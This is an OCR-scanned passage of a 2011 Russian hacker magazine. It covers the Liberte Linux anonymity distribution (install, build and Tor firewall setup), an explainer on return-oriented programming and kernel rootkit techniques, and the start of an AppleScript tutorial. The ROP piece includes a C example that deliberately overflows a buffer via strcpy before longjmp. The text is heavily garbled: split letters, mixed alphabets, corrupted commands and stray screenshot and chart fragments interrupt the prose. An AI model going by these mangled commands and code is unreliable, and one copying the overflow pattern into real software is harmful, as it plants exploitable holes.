ржкой DjVul ; • Abiword 2.8.6, G n u meric 1 . 1 0 . 6 - офисные п риложе н и я с поддержкой форматов М i c rosoft Word и Excel. Для уста н овки дистри бутива нам потребуется а р х и в с образом и уста н о воч н ы м и с к р и пта м и [м ожно скачать с о ф и ци а л ь ного са йта dee.su/li berte, л и бо взять на п р и ­ л а га е м о м к журналу дискеl, а также фл е ш ка ем костью не м е н е е 256 М б . Д и стри бутив н етребо вател е н н е тол ько к свободному месту, н о и к другим а п п а ратн ым частя м . Заявляется, что он будет работать н а ком п ах с о п ератив­ ной па мятью 1 28 М б и п р о цессорами вплоть до Р е п t i u m Рго. Ра сс м от р и м у стан о вку из Linux: 1 . Созда ем точку монти р о в а н и я для фле ш к и : m k d i r / med i a / usbs t i e k .

2. М о нти руем фл е ш ку: mount / dev / sdbl /med i a / u sb s t i e k .

З. Распаковываем архив в корневую директор и ю флешки:

unz ip l ibert e - 2 0 1 0 . 1

.

z ip - d /med i a / usbs t i e k .

4 . Коп и руем уста н о в о ч н ы й скрипт на л о ка л ь н ы й диск: ер / medi a /u sbs t i e k / l ibert e / s e t up . sh / tmp/ s e t up . sh .

5. Делаем е го испол н я е м ы м : ehmod +х / tmp / s e tup .

7. За пускаем скриптуста н о в к и : / tmp / s e tup . sh

Также для уста новки понадобится утилита sysli nux версии 4.02, которая в бол ь ш и н стве случаев уста навливается ч ерез штатн ый менеджер па кетов твоего дистрибутива. Я испол ьзую Arch Linux, где на момент написания статьи была доступна syslinux 4.03 - из-за этого при шлось не­ много отредактировать первые строчки в скрипте :

. � IW Wilфedi. "'H SidepaM!

Ili https:J/check.torproject,org/

Please ге[ег 'о the � [ог

i iiiii �iiШl i iiii� i [ii;i ii:i =_.liIIIiIlliiiiiilliiiii:iii iii iii':==iiii= . 1=i.i�

�-'

где требуется выбрать оди н и з двух режи мов за грузки ­ графический или консол ь н ы й . Графический испол ьзует­ ся в бол ь ш и н стве случаев, а консол ь н ы й полезен тем, что ч ерез н его можно получить рутовый доступ, перекл ю ч и в ­ ш и с ь на второй ви ртуа л ь н ы й тер м и нал [Alt+F2] . П ра вда, следует учесть, что после двух м и нут бездействия рутовая консол ь делает автоло гаут. Та м же можно разблоки ровать учетную запись рута командой « usermod -u root» и изме­ н ить парол ь по умол ч а н и ю с помощью утилиты passwd . Воспол ьзова вшись sudo, мы огра н и ч и м свои действия всего л и ш ь н ескол ь к и м и команда м и , поэтому за пуск под рутом и н о гда может быть в п ол н е о п равда н . Li berte L i n u x н е только дает возможность а н о н и м н о г о доступа к С ети , н о и х р а н ит в с е пол ьзо вател ьские да н н ы е в ви ртуальном з а ш и ф р о в а н н о м разделе OTFE с п р и м е н е н и е м сто йкого а л го ритма ш иф рова н и я AES-256 в режиме XTS . Этот раздел в в иде файла на ходится на фл е ш ке и и м еет д и н а м ический размер, кото р ы й можно и з ме нять кома ндой otfe-resize. Н а стройки п а р а м етров з а ш и ф р о ва н н о го раздела м о гут гибко и з м еняться п од нужды пол ьзователя с помощью ко н ф и га , п редста в л е н ­ н ого н и ж е .

.

$ cat / etc / conf d / liberte

# Параметры зашифрованного хранилища OTFEF ILE= / ot f e / 1 iberte . vo l OTFELABEL= " Liberte OTF E "

# Размер хранилища , указывается к а к часть от общего свободного места на носителе ( А / В ) OTFES I Z E= 1 / 4

# ! /bin/ sh - е

OTFEC I PHER = aes х ts р l а iп

sysver=4 . 0 3

ОТFЕНАSН=shа2 5 б

- пате rnbr . bi n» )

sysrnbr= / u s r / l ib / s y s l inux/rnbr . bi n

� dvd

На диске, прилагае­ мом к журналу, лежит готов ы й образ Liberte Liпuх и установоч н ы е скри пты п о д L i п u х и Win dows.

� info

• В разделе I пstаll на сайте п роекта Liberte Linux можно найти ссылку на торрент с образом VirtualВox дистр ибутива. • Н е которые старые ко мп ьютеры подде ржи вают за грузку только с FAT[ 1 6] разделов USB-устроЙств.

# Используемые алгоритм и режим шифрования ,

размер ключа шифрования и алгоритм хеширования

# Путь к rnbr . bin ( можно у з нать командой « f ind /

а'

Строгие правила брандмауэра в действии

$ head -n5 setup . sh

# Установленная версия sysl inux

I C!o5ed iITitbl

Congratulations. You a re using Tor.

sh.

6 . Раз монтируем фле ш ку: umount / dev / sdbl .

sn

-

ОТFЕКЕУS I Z Е=2 5 б

-

# Имя раздела LVМ

# ( используется утилитой o t fe - res i ze ) OTFEVOLUМE= o t f e

Уста новка из Windows более проза и ч н а , нужно л и ш ь распа ковать содержимое архива на фле ш ку и запустить скрипт setup.bat с п р а в а м и адм и н и стратора. Та к как утилита syslinux идет внутри архива, то н и ч е го допол н и ­ тел ь н о уста навл и вать не нужно.

Itls easy to use! Теперь, указав в B I O S ' е п р иор итетную за грузку со съе м ­ н ы х носителе й , можно увидеть окно за груз ч и ка Li berte, Х А К Е Р 03 / 1 46/ 20 1 1

В случае обострен и я п а р а н оидальных с и м пто мов можно з а ш ифровывать отдел ь н ы е файлы с помощью G n u PG или G PA. кото рые входят в состав дистрибути ва. Во время первой за грузки нас поп росят указать п а рол ь для з а ш ифрова н н о го ви ртуального раздела OTFE. П ри каждой последующей за грузке е го нужно будет в с п о м и ­ нать и вводить, иначе система н е за грузится. Для доступа в сеть испол ьзуется браузер M idori с уже

� 095


Основное sрlash-лого дистрибутива как бы намекает настроен н ы м Тог. П ри мечательно, что весь разре ш е н н ы й трафи к идет через Тог, что искл ючает неп редвиде н н ы е утечки и нформации [нап р и мер, открытые зап росы к D NS-серверу, несмотря на прокс и , или запросы к D Н С Р-серверу, содержащие реальное имя хоста ] , а остал ьной трафи к п росто блокируется брандмауэром. В этом можно убедиться, набрав « i pta bles - L» под рутом . Пакетн ый фильтр по умол­ ч а н и ю настроен на блоки рова н и е всех входя щих и исходящих па кетов за искл юче н и е м трафи ка D Н С Р, D N S, NTP и Тог, причем передава­ е м ы е п о DНСР пара метры максимально уреза н ы , а передача и м е н и хоста, ARP и I Pv4LL [ I Pv4 Liпk-Lоса l Аddгеssеs] - блоки руется. Для обеспечения п р и в атности в Wi-Fi сетях МАС-адрес беспро­ водного и нте рфейса генери руется случа й н ы м образом с п омощью утилиты mac-ra n d o m i z e . Та к ка к для регистрации на н е кото р ы х точ­ ках доступа необход и м прямой вход брауз е р о м , в Li berte п р едусмот­ рена воз м ожн ость отдел ьного за пуска браузера от обособл е н н о го пол ьзователя , который и меет доступ только к D N S и портам ти повых сер висов web-регистрации. Стоит отметить и нтересный момент при работе с ди стрибутив о м : есл и внеза п н о наступил шухер, то можно п росто выдер нуть фле ш ку из порта [и съесть], а ком пьютер через несколько секунд в ы кл ю ч ится с а м .

Простые американцы чтут Вторую поправку к Конституции, согласно которой самый обычный гражданин может противостоять нагло поп и­ рающему его права государству, зажав купленную в кредитавтомати­ ческую винтовку М - 1 6 в одной руке и гамбургер в другой. В мире сетей и двоичных кодов неравная расстановка сил в ЭТОЙ милой и наивной фантазии внезапно меняется - даже если вездесущемуоку электрон­ ной разведки противостоит простой анонимус втапочках, сжимающий флешкус современными средствами шифрования в одной ладошке и журнал «Хакер» В другой. Именно поэтому Liberte Linux ставит своей целью дать юзерам возможность скрыто и безопасно общаться между собой в л юбое время и в любом месте, где есть компьютер с выходом в Сеть. Данная функциональность, являющаяся основной для дистрибу­ тива, реализована в версии 201 1 . 1 , которая, видимо, выйдет к моменту публикации статьи. На скриншоте видно, что обмен сообщениями в новой версии проис­ ходит через ПРИ8ЫЧНЫЙ интерфейс программы для отправки почты - в данном случае, Claws-Маil.Для анонимусов, предпочитающих удобство общения потаканию паранойе, в релиз включен ы также IRC­ клиентХСhаt и IМ-клиент Pidgi n - с настройками, ориентированными на приватность общения. Также включены простые средства создания mр4-видеороликов и аудиоклипов в формате Speex с помощью веб­ камеры и микрофона. Конечно, с визуальной точки зрения Liberte уступает более наворочен­ ным дистрибутивам, в которых можно включатьтакие свистелки, как Compiz. Но главный упор при разработке LiЬеrtеделается на качество и надежность работы, а также нетребовательностьдистрибутива кже­ лезу. Анонимус, знай: отебезаботятся, для тебя делаютсамое лучшее, бесплатно и без СМС. Maxim Каттегег <mkliJdee.su>, автор ди стр ибути ва.

Сбо рка ИЗ ИСХОДНИКОВ

Liberte можно л егко собрать из исход н и ков. Для этого подойдет лю­ бой Linux дистри бутив, необязател ьно б ыть пол ьзователе м Gentoo. Во время сборки оказалось, что у меня не уста новлен па кет rsync, поэтому п р и шлось доуста н овить е го и заново запустить п роцесс. Для успешной сборки также необход и м n a KeT SquashFS Tools 4 . 1 Вся процедура з а н и м а ет несколько часов на бол е е - м енее современном п роцессоре и требует окол о 4 Гб свободного места на ха рде.

Privatix Live-System Разработка суровых немецкиханонимусов. Эта система основана на Debian и может быть установлена как на СD-, так и на USB-устроЙства. Причем установка на USB происходиттолько из загруженного LiveCD. В дистрибутиве присутствуетудобная графическая утилита для шиф­ рования съемных носителей - UsbCryptFormat, а такжеутилита для простого резервного копирования зашифрованныхданных C ryptBackup в несколько кликов. Серфинг веба здесь происходит через Firefox и Torbutton. Система весьма требовательна к свободному месту - для установки требуется как минимум 3 Гб.

Uberte Unux 2011.1

DemocraKey LiveCD Дистрибутив был разработан в ответ на ужесточение цензуры в интерне­ те правительствами Китая и США. Весьма интересный проект, который нацелен не столько на анонимность, сколько на сохранность персональ­ ных и финансовых данных. Автор этого проектадаже предлагает приоб­ рести уже готовую флешку с этим дистрибутивом и радоваться жизни, а также намекает на то, чтобы всезаинтересованные быстрее покупали его изделие, пока оно еще легально на территории США. Кроме всего прочего, в составдистрибутива входит антивирусный сканер, который может помочь излечить инфицированную винду, расположенную по соседству. Среди стандартного арсенала анонимуса: анонимный веб­ серфинг через Тог. шифрование почты и трафика клиента мгновенных сообщений [Pigdin + OTR].

Х А К Е Р 0 3 / 1 46/ 2 0 1 1


r

New'fclb

Back

Fo�",rd bin

COMg

info

persist

Co ng ratulations. Your browser is config ured to use Tor. Please refer t o the

� (ог

IUrther information about using

browse the Intemet anonymously.

Тог safety. Уou аге now free t o

bl!"'::;.;�6o=

Addition.1. in1or.trtion: Your IP iIIddrl!$'5 8ppe8r5 t o Тhis s8.H '5cript i5 re.

_ _

Поздравляем! Твой браузер уже сконфигурирован

П ро цесс сбор к и в ы гляд ит сл еду ющ и м образо м : 1. С ка ч и ваем исход н и ки (реко мендуется скачи вать и з

svn , тогда вероятность возникновения п роблем п р и сборке м е н ь ш е ] : svn

со

https : / / l ibert e . svn . sourc e f orge . ne t /

svnroot / l iber t e / trunk / l iberte l iberte

2. За пускаем сборку в п а п ке /tmp/livecd : l iber t e - 2 0 1 0 . 1 - s r c / bu i ld / tmp / l ivecd

Есл и п о какой-то п р и ч и н е н е возможно с ка ч ать исходн и­ ки из svn , то и х можно взять с сервера sourceforge.net: $ wget https : / /downloads . sourceforge . net/ pro j ect / l ibert e / 2 0 1 0 . 1 / 1 iberte - 2 0 1 0 . 1 - src . tar . bz 2 $ t a r xj f l iberte - 2 0 1 0 . 1 - src . tar . b z 2 $ mv l iberte - 2 0 1 X . Y - src l iberte

В скрипте b u i ld поддерживается пара метр fresh, который используется для новой сборки дистрибутива. На основе исходников Liberte Linux можно собрать собс­ твенный LiveUSB-дистрибутив. С писок пакетов находится в файле src/var/libIportage/world - при верженцы более «человечных» окружений рабочего стола (или, наоборот, более суровых та йловых менеджеров окон] могутуста-

The (Amnesic) Incognito Live System Этот проект стал преемникомдистрибутива Incognito LiveCO после того, как автор объявил об окончании разра­ ботки. Но, в отличие от Incognito LiveCO, этот дистрибутив можетбыть записан как на СО-диск, так и на флешку. Создатели гарантируют, что, во-первых, все соединения с Сетью принудительна происходят через Тог. а во-вторых, при работе не остается никаких следов на локальных носителях. В качестве окружения рабочего стола используется GNOME, а в комплекте идет несметное количество GТК-программ (Firefox, ОрепОffiсе, Pigdin с плагином для безопасной передачи сообщений OTR и такдалее) всего около 2 Гб софтаl Благодаря тому, что система рас­ пространяется втом числе и как образ iso, еелегко можно запустить на виртуальной машине типа ViгtualBox.

Локаль дистрибутива легко поддается изменению (по умолчанию - английская)

навить и х туда, а также измен ить набор и нтересующего софта. Потребуется просто добавить в конфиг строчку С нужн ым назван ием. Точ ное назван и е приложений можно подсмотреть в дереве портежей по адресуgentoo-portage. com/browse. Все пользовательские настройки находятся B /home/anon/ и, чтобы л и ш н и й раз не мучиться с их допи­ ливанием, можно п росто скопи ровать нужные конфигура­ ционные файлы из своей домашней директории (есл и, ко­ нечно, ты являешься счастливым пользователем л и нукса). С исте м н ы е настройки, как и полагается, находятся в /etc.

Есть куда стремиться

Тог позволяет клиентам и серверам предоставлять скрытые сервисы. То есть можно запустить веб-сервер, SSH -сервер и такдалее, не раскрывая свой I P-аАрес пользователям. И , поскольку п р и этом н е испол ьзуется н и ка кой публ ич­ н ы й адрес, можно запустить скрытый сервис, находясь за фаЙерволом. П о задумке автора, в п роцессе первой загруз­ ки на основе сле п ка сертификата и сервисного ключа сети Тог будет генери роваться уни кальный e-mail пользователя, который в последующем можно будет использовать для связи с другим и пользователя м и дистрибутива Libeгte через скрытые сервисы Тог. В текущем релизе (20 1 0 . 1 на момент написания статьи] да н ная возможность пока не доведена до кондиции, хотя она заявлена как ключевая. В Liberte Linux пока нет поддержки набирающей популяр­ ность сети 12Р (также известной под названием « П роект Невидимый И нтернет»] - анонимной, самоорганизующей­ ся распределенной сети, которая использует модифициро­ ванный ОНТ Kademlia, но отличается тем, что хран ит в себе хешированные адреса узлов сети, зашифрова н н ы е AES I P-аАреса, а также публичные ключи шифрова н и я , причем соединения по Network dаtаЬаsе тоже зашифрованы. Автор дистрибутива открыт для новых идей . Если у тебя есть п р едложен и я по развитию проекта , то и х можно отсылать на адрес mk!adee.su .

Заключение

� w a г n i ng

Не стоит забы вать, что анонимность, как и все в нашем мире, не бывает абсолютно й . П оэтому ответстве нн ость за совер ш е н н ы е действия р а н о или поздно может п ридт и l

� links

dee.su/li be rte сайт п роекта Liberte Linux; amnesia.boum.org сайт п роекта Т(А) I LS ; mапdа lkа . п а m е/ privatix - сайт проекта Privatix Live­ System; sou rceforge. net/ prolects/democra key - стра н и ч ка проекта Oemokra Key; i2p2.de/intro ru . ht m l - сайт п роекта « Невидимый И нте рнет» ; •

Тенденция к ужесто ч е н и ю и нтер нет-цензуры в бл ижа й ­ ш и е годы будет сохранятьс я , поэтому готов ы м к этому надо быть уже сеЙчас. Н е смотря на мое н е п риятие пол и ­ т и к и M S в цел о м , с одн и м в ы с каз ы в а н и е м Б илла Гейтса все же хочется согласитьс я : свобода слова в С ети рано ил и поздно победит .. ::х:: .

ХАКЕР ОЗ / 1 4 6 / 2 0 1 1

� 097


RETURN-ORIENTED ROOTKITS НАСТУПАЮТ! Пр о блемы О С'е й н а н ы н е шн ем 3Jane с t ро и тел ь ства гражданско го о Dщества С) у разра б о т чиков

современных опера ц ионных сис т ем появилась пос т оянная головная б оль. К ак защи т и т ь ядро сис т емы о т б ездумных де й с т ви й юзера , ко т орому невдомек, ч т о лю б ая зап у скаемая в сис т еме про грамма несе т в се б е по т ен ц иальн у ю опаснос т ь и може т лихо скомпроме т ирова т ь всю имею щуюся сис т ем у за щ и т ы ?

Механизмы за�иты целостности ядра

Одна из конце п ци й , которая позволяет поддерживать механизм защиты ядра, называется « монитор обращений» . Монитор контролирует и разгра ничивает дос1)'П к ресурсам системы. В последнее время появилось несколько механизмов, позволяющих обеспечить цел ост-

ность И защи1)' ядра от посягательств извне. Основная идея, лежащая в основе таких механизмов, заключается в том, что ядро должно быть защищено от и нжекта кода руткитами из пользовательского режи ма. Одна из самых распростра н е н н ы х иде й , которые были реал изованы в этом н а п равл е н и и , - это цифровая подп ись м одуле й ядра IXOTb она раньше и была н еоднократно скомпрометирова н а ! . Если ХАКЕР 0 3 1 1 46/ 2 0 1 1


о о о о

� с: QJ :::J ст

LL

о о О Ф

О О О N О

00

1f

Зf

5f

7f

9f

bf

df

ff

БllБЛllотека LIBC: частота встречаеldОСТII байт после "НСТРYI<ЦIIII OxFF (косвенный переход). ПIIIОI ПРIIХОДЯТСЯ на I'НСТРYl<ЦlIII Ох8В 11 Ох89, KOTOI)bIe являются опкодш.ш I'НСТРYl<ЦlIII MOV

Частота встречаемости байт после инструкции косвенного перехода в операционной системе включена такая о п ц и я , то каждый модул ь, загружа е м ы й в ядро, должен содержать в себе вал идную цифровую подп ись, которая, в свою очередь, должна б ыть п роверена и за гружена в корне­ вой каталог сертиф и ка ц и и [гоо! сегtifiсаti о п a u t hority, СА] . Есл и такая проверка н е п р ойдет, то модул ь, соот­ ветственно, не будет за груже н . Н а п о м н ю , что подобную методику впервые внедрила в свои операционные систе м ы M i c rosoft, начиная с Windows ХР. В месте с тем , безопасность такого подхода всего л и ш ь о п и рается на п р едположен и е , что само ядро и все за гружен н ы е модули [драй в е р ы ] н е содержат уяз в и мостей , кото р ы е позволят выполнить н еподп и с а н н ы й код и та ким обра­ зом скомп рометировать с истему. Что же делать? Был разработан другой метод, направленный на предот­ вращение эксплуатации потенциальных уязвимостей программного обеспечения во время выполнения. Уверен, что ты слы шал об этом подходе, который в первую очередь касается виртуальных адресов: стран и ца памя­ ти не может быть одновременно доступной на запись и выполнение кода [говоря кодерским языком, стран ице памяти не могут быть установлены атрибуты WRITABLE I EXECUTABLE]. Данная техника была впервые внедрена в ОрепВSD 3.3, а позже похожие систе м ы защиты появи­ л ись и в других ОС - например, РаХ и ExecShield в Liпuх. В семействе ОС Windows эта система защиты более известна как Data Ехесutiоп Ргеvепtiоп [ОЕР], которая была впервые реализована в Windows ХР S P 2 и Windows Server 2003. DЕР реализуется на а п п а ратном и программном уровне. Начиная с па кета обновления 2 [SP2] для Windows ХР 32-разрядная версия Windows испол ьзует один из сле­ дующих методов : фун кцию по-ехесutе раgе-ргоtесtiоп [ NX], разработан ную компа нией АМD, и фун кцию Execute Disable Bit [ХD], разработанную ком панией I пtеl. Основным преи муществом, которое обеспечивает функция DЕР, является возможность предотвратить запуск кода из областей дан н ы х [таких как куча, стек или пул памяти]. Подробнее о технологии и возможностях DЕР можно проч итать здесь: suggort. m icrosoft.co m/ kbI8 75352/ru. На этом программистские умы не успокоились, и была изобретена технология, которая позволяла поддерживать целостность ядра в режиме выполнения. Она получила название « тетогу shаdоwiпg». Эта технология реали­ зована как монитор виртуальной маш и н ы , которая под­ держивает раздельно существующие так называемые ХАКЕР 03 1 1 46/ 20 1 1

« регионы теневой памяти». Теневая память недоступна для гостевой учетной записи VM и содержит только коп и и некоторых участков основной памяти гостевой учетной записи. Новый исполня ющийся код [то есть код, который исполняется в первый раз] аутентифици руется в системе путем сравнения значений простого кри птографического хеша и только затем коп ируется в теневой участок памяти. Так ка к монитор виртуальной памяти в данной модели является доверенным по умолчанию, то это гарантирует невозможность неавторизованных модификаций в тене­ вой памяти. Таким образо м , код, запускающийся из-под гостевой записи, никогда не сможет получить доступа к привилегированной теневой памяти. В настоящее время технологию теневой памяти поддерживают wiп-системы начиная с Wiп2k и ядра Liпuх начиная с 2.4. Кроме того, эта технология реализована в виртуальных машинах Q E M U , VMware и VirtualBox.

Воз враТН О-Qриентированное п рограмми рование

Уф, сам не знаю, что это такое, но судя по всему - тер­ моядерная штука. В самом ближайшем будущем ждите на экранах планеты руткиты, которые в своей основе будут испол ьзовать фичи возвратно-ориентированного кодинга [ВОК]. ВОК позволяет ата кующему эксплуатиро­ вать ошибки па мяти в таргет-програ ммах [как правило, уязвимости типа перепол нения буфера и тому подобное] без фактического инжекта кода в адресное пространство этой програ м м ы . Не дошло? Повторю. Раньше для того, чтобы заэкплойтить про грамму/систему, нужно было искать в установленных программах ошибки, благодаря которым можно переписать адрес возврата из фун кции на нужный адрес и таким образом получить контроль над программой. Но найти такие случаи - большая редкость. Так вот, теперь этого делать не нужно. В атаке на систему злоум ы шленник должен организовать короткие последо­ вательности инструкций процессора в целевой програм­ ме. Через выбор этих последовательностей злоумышлен­ н и к окажется в состоянии обеспечить нужное поведение целевой програ м м ы . Обычно последовательность дей­ стви й выбирается таким образом, чтобы каждое действие оканчивалось инструкцией п роцессора геtuгп[ _asm ге! ], что [при условии контроля за стеком] позволит злоу­ м ы шленнику контроли ровать ход в ыполнения программы. Кстати , именно по имени и нструкци и процессора - геtuгп - эта техника програ м м и рования и получила название возвратно-ориентированной.

� dvd

На диске ты найдешь книгу К. Касперски «Техника сетевых ата к», в кото рой очень подробно разжевы вается тех­ н и ка переполнения буфера, а также книгу « 1 9 смертных грехов, угрожа ющих безо­ пасности п рогра мм» Майкла Ховарда, проч итать которую я рекоме ндую каждому кодеру.

� 099


в EI

Powered On

E/) XP SP2 .. Favorites E/) XP SP2

di> . · Cj Шi1 0 W 8 � 1i) 1f-') А сколько У тебя установлено виртуальных машин? Организационный блок инструкций в ВОП называется гаджетом и содержит в себе последовательность команд, адресов и данных, кото­ рые при за пуске заставля ют п рограмму вести себя вполне п рогнози­ руемым и нужны м злоумышленнику образом. И нструкция ret обладает двумя особе нностя м и . Во-первых, ей нужно выделить 4 ба йта на вершине стека и п р и своить указа­ телю и нструкции EIP это з н а ч е н и е . Во-втор ы х , она увел и ч ивает указатель стека E S P на 4 та ким образом, что вершина стека будет я вляться новым словом 12 ба йта) над тем слово м , которому раньше был оп ределен E I P. Эти особенности и и спользуются для изменения последовател ьности и н струкц и й , та к ка к каждая после­ довательность может быть з а п и сана в стек. Когда испол н я ется посл едовательность команд, достигается и с пол нение и нструкци и ret, которая их зака н ч и ва ет и обеспечи вает п ереход к дал ь н е й ш е й последовател ьности команд. Тут обязательно стоит упомянуть, что присутствие инструкции геtuгп в гаджете вовсе не обязател ьно. Тот, кто мало-мальски разбирается в ASM ' e и умеет на нем кодить, знает, что геtuгп-подобной и н струк­ цией является вы ражение вида РОР ЕАХ; J M P ЕАХ. Здесь, в отличие от в ышеуказанных особенностей команды ret, достаточно только переписать регистр ЕАХ и глупый п роцессор безмятежно п р ы гнет по указанному нами адресу. П р и этом геt u гп-подобные инструкции не ограничива ются только этим вариантом - при желан и и вариации на тему можно сильно разнообразить. И нтересно, а какова ве роятность встретить команду ret или и н ы е геt u г п -подоб н ы е команды в ста ндартной программе? О ч е н ь вел и ­ ка . На х86 - м а ш и на х команда возврата ret з а н и ма ет оди н ба йт !с3) и теорети ч ески будет встречаться с частотой 1 /256. Хотя на самом деле - гораздо чаще, потому что среднестатистические 'то есть, все за конные) п р о гра м м ы всегда будут и с пол ьзовать эту и нструк­ цию, та к что встретить ее в потоке байт будет несложно. Вместе с тем н е п р я м ы е переходы с и с пол ьзова нием регистров з а н и м а ют два ба йта, и поэтому вероятность встретить их в п рогра м м е будет гораздо н иже.

� 1 00

Pro & Cons

Возвратно-ориентированное программирование, как ты уже понял, является реальной альтернативой инжекту кода и захвату системы. Сейчас м ы рассмотрим четыре вида ошибок памяти, которые на руку злоумышленнику и могут быть применены для использования всех прелестей ВОП. При всем при этом, ата кующему еще нужно будет позаботиться о возможности контроли рования стека Iрегистры E I P и ESP), а также решить вопрос размещения кода гаджета в памяти.

Ошибка #1: Переполнение буфера

Ну что тут сказать? Если ты не знаешь, что это такое, то вообще уди­ вительно, каким образом ты дочитал статью до этого места J Для устранения п робелов в образован и и могу лишь посоветовать почи­ тать К. Касперски, он тему переполнения буфера распилил от и до. Суть переполнения буфера закл ючается в появлении возможности переписать указател ь следующей и нструкци и EIP в стеке какой-либо фун кции и таким образом получить контроль над ее в ыполнением. При реализации атаки ВОП это будет первая инструкция в гаджете, который будет выложен в стек. П р и этом указатель стека ESP будет указывать на следующее слово в стеке, которое также находится под контролем злоумышленника. Для того, чтобы воспользоваться пере­ полнением буфера при реализации ВОП, злоумышленник должен переписать кадры стека таким образом, чтобы избежать изменения любых сохраненных значений E I P.

Ошибка #2: nepeзaпись указателя vtable в С++

Опытные разработчи ки С++ знают, что можно контрол ировать память путем манипуляций с объектам и виртуальных табли ц Ivtable) В нашем случае, если появилась возможность контролировать vtable, то поче­ му бы не переписать его так, чтобы он указывал на подконтрольный регион памяти? В зависимости от кода , который компилятор создает для виртуального вызова метода, наша последовательность команд будет эксплойтить один или несколько регистров, которые используХАКЕР 0 3 / 1 46/ 2 0 1 1


ПОЯВIIЛIIСЬ ПI)III.lеl)Ы BO lbpalHO-0IшеН1"I)ованноrо KOAIIHra ПОД apxllleкtypy SPARК

• ПоявлеНllе ,еХНIIЮI "Эallмс,вованных кусков кода" о, Себас,ьяна К\)аме\)(1 •

ПеРВЫII червь, KOIOPbIlI IIсполыовал пеl)еполнеНllе буфеl)а

(CodeRed).

Пеl)ВЫII эксплош ''во IBpala в бllбЛIIОlеку" 01 Solar Designer ПоявлеНllе первых сообщеНlII1 О пеl)еполнеНIIЯХ буфеl)а на Bllgtrak'e

1 990

1 970 I

Ll) cn cn

C\I 1'cn

I

I

.,....

I 1 980

I

I

со со O'J

I

I

э;

.,....

о (\J

.,....

<о O'J O'J

I

I 2000

.,....

.,....

Ll) о о C\I

с;

O'J

I

со о о C\I

I

1'о О (\J

201 0 I

O'J о О C\I

1 •

Первая nyБЛllкаЦlIЯ О пеl)еполнеНIIII буфеl)а Пеl)Вая ЭПlщеl.IIIЯ в I IHlepHele - появлеНllе ..··Iервя MOI)pIICa"

Небольшой экскурс в историю ются vtable и указывают на объект. виртуальную таблицу или сразу на них обоих. Злоумышлен н и к должен просто использовать такие указатели для изменения указателя стека. Справедливости ради отмечу, что потенциальная возможность испол ьзовать виртуальные табл ицы для перезаписи указателя зависит от версии комп илятора и флагов. Посему гаджет ВОП легко о кажется в пролете, ибо способ изменения vtable, оказывается, ненадеже н .

Ошибка #3: перезапись указателя на функци ю

Как и в случае с перезаписью vtable, перезапись указателя на функцию не является достаточно надежным методом и серьезно ограничивает возможности злоумышленника. Во-первых, дело в стеке, который использует эта функция и который гаджету придется как-то перемещать. В той же последовательности инструкций гаджет должен реализовать вторую последовательность для выполнения кода. В общем, пока такая возможность существует только теоретически.

0u.J.tбкa #4: �� буфера

функции � .,,--

И вот благочестивый Linux неожиданно оказался под уда­ ром. Виной всему - функции setJmp и lопgj m р , которые реализуют нелокальные переходы 9oto. Кошмарные, на мой взгляд, функции - с точки зрения не только систе м ного кодин га, но и кодинга вообще .. При вызове функции setjmp программа выделяет место в структуре j m p_buf, которая хранит значения регистров ЕВХ, EDI, ESI, ЕВР, ESP и EI P. Здорово, правда? В сохра­ ненный в буфере указатель инструкций E I P с помощью инструкции CALL записывается текущее значение, а также сохраняется значение ESP. При выходе из setjmp в регистре ЕАХ будет хранится нул ь. Позднее вызывается функция lопgj m р . Эта фун кция восстанавл и вает прежнее значение основных регистров, заносит в регистр ЕАХ вто­ рой аргумент, переда н н ы й функции lОП9J m р , уста навлива­ ет регистр ESP и п р ы гает по этому адресу. ХАКЕР 03 / 1 46/ 2 0 1 1

При мер использова ния функций setjmp/longjmp s t ruct foo

char bu f fer [ 1 6 0 ] ; j mp_buf j b ;

� links

);

int main (

int argc ,

s t ruct if (

char * * argv

foo * f = ma l loc (

)

s i ze o f ( * f ) ) ;

s e t j mp ( f - > j b ) return О ;

s t r cpy ( long j mp (

f - >bu f f e r , f->jb,

1

argv [ l ]

) ;

) ;

Обрати внимание на строку strcpy( f-> buffer, a rgv(l ] ] . По-моему, ее даже пояснять не нужно. И пусть * пiх­ кодеры теперь решат для себя, стоит л и испол ьзовать эти функции в своих программах :1.

Закл ючение

Ита к, что мы п олуч и л и ? Н а м о й в з гляд, В О П я вл я ет­ ся кра й н е ко в а р н о й вещью дл я обес п е ч е н и я общей безопасн ости с и сте м ы . В едь сто ит злоум ы ш л е н н и ку п р о патч ить ядро, ка ко й - н и будь д р а й в е р , с и стемный файл - и все! Для этого даже н е нужно и с кать способы н ел е га л ь н о го в н ед р е н и я в нул е во е кол ьцо, чтобы поставить с и стему на кол е н и . Все оказывается гораздо п роще. И ведь уже существуют п ра кт ич е с к и е на работки, кото р ы е реал изуют воз можн ость контро­ л и ровать с и стему, и с п ол ьзуя в ы ш е о п и с а н н ы е методы ВОП Возвратно-ориентирова н н ы й кодинг - чрезвычайно интересная и практически н е изученная тема. П ростора для фантазии - море, возможностей для исследова ния - как снега в Сибири, и трудолюбивому кодеру эту тему копать - не пере копать. Удач ного ком п ил и рован и я и да п ребудет с тобой Сил а l I

Ка к показы вает моя п ракт и ка , для айтиш­ н и ка, занятого вопро­ са ми безопасности комп ьютерных систем, наиболее значимыми оказываются вовсе не официальные са йты ка ких-либо системных контор (хотя M S D N это не касается]. Самые цен н ые круп ицы ин­ формации соби ра ются на блогах а ктив истов а ндеграунда, кода­ копателей и прочих. В качестве при мера назову pecypcbI .b..lQR th reatexRert.com и a lex-i опеSСU .соm .

� 101


СКРИПТИНГ Я МАС ОS Х Н а ч и н аем про г раммировать н а AppieScript с) И з

э то й статьи ты узнае ш ь , что такое AppieScript , зачем и кому он нужен , как можно автоматизировать чужие приложения и до б авлять возможность автоматиза ц ии в свои.

Автоматизируй это

Часто встречаются такие задачи, для решения которых делать отдельный проект на компилируемом языке нерационально, Например, когда нужно быстро слепить на коленке код, который должен просто выполнять конкретную работу - без всяких G U I -украшений, обработ­ ки всевозможных исключ ительных ситуаций, опти мизации и прочего. Здесь на помощь и приходят языки сценариев - известные тебе shell, Perl, РНР и так далее, Все они 'ну или почти всеl доступны и под Мас 05 х. Но в этой операционке в дополнение к общепринятым скри птовым языкам есть и специал ьный язык сценариев, ориентиро­ ванный именно на Мас 05 Х и тесно с ней связанный. Это Apple5cript. Apple5cript идет вместе с системой начиная с 5ystem 7, В ы росши й и з п роекта HyperCard I который содержал скри птовый язык HyperTalk, очень похож и й на естественный а н глий ский l, Apple5cript первоначально создавался для того, чтобы обеспеч ить обмен дан ­ н ы м и между зада ч а м и , а также для управления работой сторонних приложе н и й , Сам по себе Apple5cript обладает довольно скромной функциональностью: на этом языке даже 